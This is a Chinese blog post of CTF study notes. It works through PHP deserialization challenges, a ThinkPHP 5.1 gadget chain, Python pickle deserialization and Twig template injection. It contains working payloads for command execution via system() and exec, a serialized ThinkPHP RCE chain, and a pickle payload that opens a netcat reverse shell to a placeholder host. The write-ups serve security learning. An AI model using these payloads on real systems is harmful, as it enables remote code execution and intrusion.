0128学习记录

最新推荐文章于 2025-02-27 14:14:32 发布
最新推荐文章于 2025-02-27 14:14:32 发布
阅读量486 收藏
点赞数
分类专栏： 刷题记录
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/yuermon/article/details/113354263
版权

UNSERIALIZE4

*魔术方法的调用
<?php
class test{
    public $peguin;
    public $source;
    public $file
    public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->peguin->close();
    }
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
}
class good{
    public $joker;
    public function __call($name,$param){
        system($this->joker);
    }
}
?>

0x01:先验知识

__call() 当所调用的成员方法不存在（或者没有权限）该类时调用，用于对错误后做一些操作或者提示信息
__call() //在对象上下文中调用不可访问的方法时触发
__wakeup()函数 该魔术方法在反序列化的时候自动调用，为反序列化生成的对象做一些初始化操作 （这题要绕过这个魔术方法

0x02:代码审计

 #
	public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }

#当用到__toString魔术方法的时候会调用close方法，但是close方法并没有定义，或者是被没有权限调用，这个时候就会自动调用__call魔术方法，实现命令执行	
	public function __toString(){
        return $this->peguin->close();
    }
#这样就要求$this->source必须是字符串
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
    public function __call($name,$param){
        system($this->joker);
    }

#wakeup魔术方法有漏洞
public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }

0x03:解题

分析完代码之后的答题思路：

1.peguin=new good();  
2.$this->source是字符串 然后调用__toString 返回没有定义的close() 
3.调用了__call 执行system

wakeup在反序列化之前立即调用

而在调用这个函数的时候，如果source是一个字符串就会进行正则匹配，但如果source是一个类，则会先去找到source指向的类，php会先去寻找这个类中的__toString这个方法，那么就可以把source指向test类，执行test里面的方法

但是source又是字符串所以可以

$source=new test('');

因为之前在source这个点上卡住了，没想到指向类test再寻找toString方法，想着直接让source是字符串了 感谢姜少的poc

姜少的poc：

<?php
class test{
    public $peguin;
    public $source;
    public function __construct($file){
        $this->source =$file;
		$this->peguin = new good();
    }
}
class good{
    public $joker;
    public function __construct(){
		$this->joker = 'tac flag.php';
	}
}
$a = new test(new test(''));
echo urlencode(serialize($a));
?>

看了姜少的poc之后才想起来做过类似的题目

（[MRCTF]ezpop

CTFSHOW-反序列化

web264

*字符串逃逸
*序列化和session
error_reporting(0);
session_start();
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

0x01:代码审计

根据message.php可知需要将token等于admin

if($msg->token=='admin'){
        echo $flag;
    }

index.php中存在

$umsg = str_replace('fuck', 'loveU', serialize($msg));

在字符串替换的时候出现字符串变长的情况，所以出现了字符串逃逸的漏洞

0x02:解题

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

因为还有

if(isset($_COOKIE['msg']))

所以还要cookie随便传一个msg，再访问message.php就可以了

web265

*地址相同
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
    echo $flag;
}

0x01:代码审计

public function login(){
        return $this->token===$this->password;
    }

$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
    echo $flag;
}

重点在于这几行代码，要求token===password成立，但是token后来有等于随机数，以为源码中没有mt_srand()函数的出现，所以不是伪随机数，那么这么时候可以让password的地址等于token，这样的就会让等式永真

0x02:解题

poc：

<?php
class ctfshowAdmin{
    public $token;
    public $password;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

得到flag

web266

源码：

highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

0x01:代码审计

//可以抓包
$cs = file_get_contents('php://input');

PHP输入流php://input介绍

`php://input`是个可以访问请求的原始数据的只读流。`enctype="multipart/form-data"` 的时候 php://input 是无效的。 

if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

当异常被抛出时，其后的代码不会继续执行，PHP 会尝试查找匹配的 "catch" 代码块。

如果异常没有被捕获，而且又没用使用 set_exception_handler() 作相应的处理的话，那么将发生一个严重的错误（致命错误），并且输出 "Uncaught Exception" （未捕获异常）的错误消息。

Try, throw 和 catch（通常跑出错误，一般会跟try catch配合使用）

所以如果正则匹配到的话，__destruct魔术方法就不会被调用

但是发现正则只是preg_match('/ctfshow/', $cs)，对大小写是敏感的，所以只要将ctfshow大写就可以绕过正则了

0x02:解题

poc：

class ctfshow{
    
}
$a=new ctfshow();
echo serialize($a);
//O:7:"CTFSHOW":0:{}

?web274

*thinkphp5

thinkphp5.1.x~5.2.x版本反序列化链挖掘分析

（等看懂了再记录自己的理解

poc：

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

?lin=cat /f*
&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web275

源码：

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

0x01:代码审计

#post 
$content = file_get_contents('php://input');

#对象被销毁的时候调用，只要使得$this->evilfile为true就行了
#fn传执行的命令
public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }

if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
#只要有一个满足就行了，但是因为filename是要执行的命令，所以filecontent要满足

0x02:解题

?fn=;tac flag.php
content=flag

web277

*python反序列化漏洞

K0rz3n

python反序列化漏洞：

原因：

利用：

<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

大佬的payload：

import pickle
import base64
class A(object):
	def __reduce__(self):
		return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

[NPUCTF2020]ReadlezPHP

*反序列化

view-source之后发现

那么就直接访问/time.php?source

得到php源码：

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
echo serialize($c);
if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]);

代码审计：

#当对象被销毁的时候会执行 $b($a)
#由此我们可知$b会是一个函数
#$a是我们要执行的代码
public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }

poc:

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

payload:

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

ctrl+f搜索flag即可找到flag

[BJDCTF]Cookie is so stable

*模板注入–Twig

参考：

一篇文章带你理解漏洞之SSTI漏洞

https://www.cnblogs.com/wangtanzhi/p/12330542.html

https://www.cnblogs.com/wkzb/p/12422190.html

https://blog.youkuaiyun.com/qq_41628669/article/details/106133130

https://www.cnblogs.com/zzjdbk/p/13049923.html
搬运模板注入过程：

Twig 
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777


测试：
在这里插入图片描述
在这里插入图片描述
所以可以确定是Twig模板注入

在 Twig 模板引擎里，{{ var }}  除了可以输出传递的变量以外，还能执行一些基本的表达式然后将其结果作为该模板变量的值
Twig 模板引擎在编译模板的过程中会计算 {{2*10}}  中的表达式 2*10 ，会将其返回值 20

相比于 Smarty ,Twig 无法调用静态方法，并且所有函数的返回值都转换为字符串，也就是我们不能使用 self:: 调用静态变量了，但是Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法，但是却有一个 env
env是指属性Twig_Environment对象，Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板（PHP文件）的位置(不知道为什么官方文档没有看到这个方法，后来我找到了Twig 的源码中的 environment.php

根据hint
在这里插入图片描述
说明注入点再cookie，进行抓包
payload1：

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

在这里插入图片描述
payload2:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

[CTF]CTFSHOW反序列化
Sapphire037的博客
01-20 4005
265 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php');
【buuctf】MRCTF2020-Ezpop小白详解
m0_73860001的博客
03-15 1367
真的很详细
CTFSHOW-反序列化
Yb_140的博客
04-06 4057
web254 直接构造 ?username=xxxxxx&password=xxxxxx web255 这关开始使用cookie进行反序列化 <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; public function checkVip(){ return $this->
showimg.php,CTF-WEB-神盾局的秘密 #class#源文件读取#unserialize
weixin_33315077的博客
03-21 504
神盾局的秘密—— PCTF{W3lcome_To_Shi3ld_secret_Ar3a}描述这里有个通向神盾局内部网络的秘密入口，你能通过漏洞发现神盾局的秘密吗？http://web.jarvisoj.com:32768/分析抓包发现： showimg.php?img=c2hpZWxkLmpwZw==，c2hpZWxkLmpwZw==为base64后的shield.jpg。判断考点为读取源代码，试...
[MRCTF2020]Ezpop
最新发布
m0_59527104的博客
02-27 352
这里我们想要做的是读取flag.php，然后就要触发invoke魔术方法，而想要触发invoke魔术方法就就是类被当作是函数调用，也就是要触发Test类中的__get魔术方法，而想要触发这个魔术方法，就要访问类中的私有属性或者是不存在的属性，也就是触发Show类中的toString魔术方法，而想要触发这个魔术方法，就是对象也就是类，被当成字符串使用。也就是Show类中的wakeup魔术方法，而想要触发该魔术方法就要使用反序列化函数，而恰好，我们通过get传参执行的就是反序列化函数。
「MRCTF2020」- Ezpop
ro4lsc的博客
05-14 3503
「MRCTF2020」- Ezpop 做了一个星期的反序列化，不知道为啥，概念从模糊到清晰再到模糊，看来还是基础不扎实导致的，所以就有了这一篇文章的诞生，思路的一个整理以及POP链的构造需要再熟悉熟悉 俗话说的好，有ez的题目都不ez，那么这个题同样也不ez 重新复习一下php里面反序列化序列化的几大魔术方法 __destruct(类执行完毕以后调用，其最主要的作用是拿来做垃圾回收机制。) __construct(类一执行就开始调用，其作用是拿来初始化一些值。) __toString(在对象当做字符串的
福建电力学习解决方案方案XXXX0128.pptx
09-30
系统将利用现有的人力资源系统，如已有的组织结构、汇报关系、学员信息和培训记录，以避免重复投资。它将涵盖培训计划和目录管理、教室培训管理、资源管理、在线学习流程的支持、交互式学习环境、课件管理系统以及...
0128瑞吉外卖压缩包
01-28
【标题】"0128瑞吉外卖压缩包"指的是一个特定的软件开发项目，...通过阅读这些代码，我们可以学习到如何使用Spring Boot构建一个实际的外卖服务系统，包括数据库交互、RESTful API设计、错误处理、日志记录等多个方面。
【学习笔记】【Pytorch】十五、网络模型的保存与读取
qq_45772756的博客
01-16 522
Pytorch提供了两种方式进行保存和读取模型。 注意：读取模型时，必须引入该模型结构的class定义，否则加载模型时报错缺少类定义。
深度估计学习笔记
weixin_44823313的博客
01-06 816
三维重建代码 https://davidrecasens.github.io/EndoDepthAndMotion/ 深度图可视化
k8s学习笔记5-部署和应用ingress-nginx-controller(v1.3.0)
weixin_43501172的博客
07-28 5509
Ingress公开从集群外部到集群内服务的HTTP和HTTPS路由。流量路由由Ingress资源上定义的规则控制。
ctfshow web入门 反序列化
2301_79442654的博客
03-24 768
分析代码：如果用户名和密码参数都存在，脚本会创建一个类的实例$user。接着，调用方法尝试登录。如果登录成功（即用户名和密码与类中的默认值匹配），并且用户被标记为VIP（$isVip为true），则调用方法输出$flag的值。如果登录失败或用户不是VIP，脚本将输出 "no vip, no flag"。要让程序返回true需要确保通过GET请求传递的用户名和密码与 ctfShowUser 类中定义的默认用户名和密码相匹配。默认的用户名和密码都是 'xxxxxx'。
ctfshow反序列化模块
whisper921的博客
04-07 6504
web254 GET传参即可： ?username=xxxxxx&password=xxxxxx 得到flag ctfshow{03b60d01-62ef-4703-8217-684bb53b866a} web255 web256 把PHP里面的username和password改成不一样的即可，然后和get传入的对应。 web257 web258 web259 web260 ...
file_get_contents("php://input")的使用方法
热门推荐
奋斗吧,CQS!
12-17 1万+
$this->must=json_decode(@file_get_contents('php://input'),true); 无意中看到我们与前端通信的这个基本参数，不是很明白对应的意思，找了篇相关文章：http://my.oschina.net/u/267858/blog/519403 $data = file_get_contents("php://input"); php:
thinkphp5 文件处理类 延伸扩展
Salted fish in hand, I have the world.
03-06 3922
thinkphp5的手册中提出： File类继承了PHP的SplFileObject类 手册中在文件上传的地方只是提到了框架自身的一些函数，但是在文件上传后文件内容的处理没有提及，因为那是SplFileObject中的内容了，这里我简单总结了一下，在$file = $request->file('file');之后，对$file可以调用的一些函数，这些函数可以很方便的帮助我们做一些文件处理
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值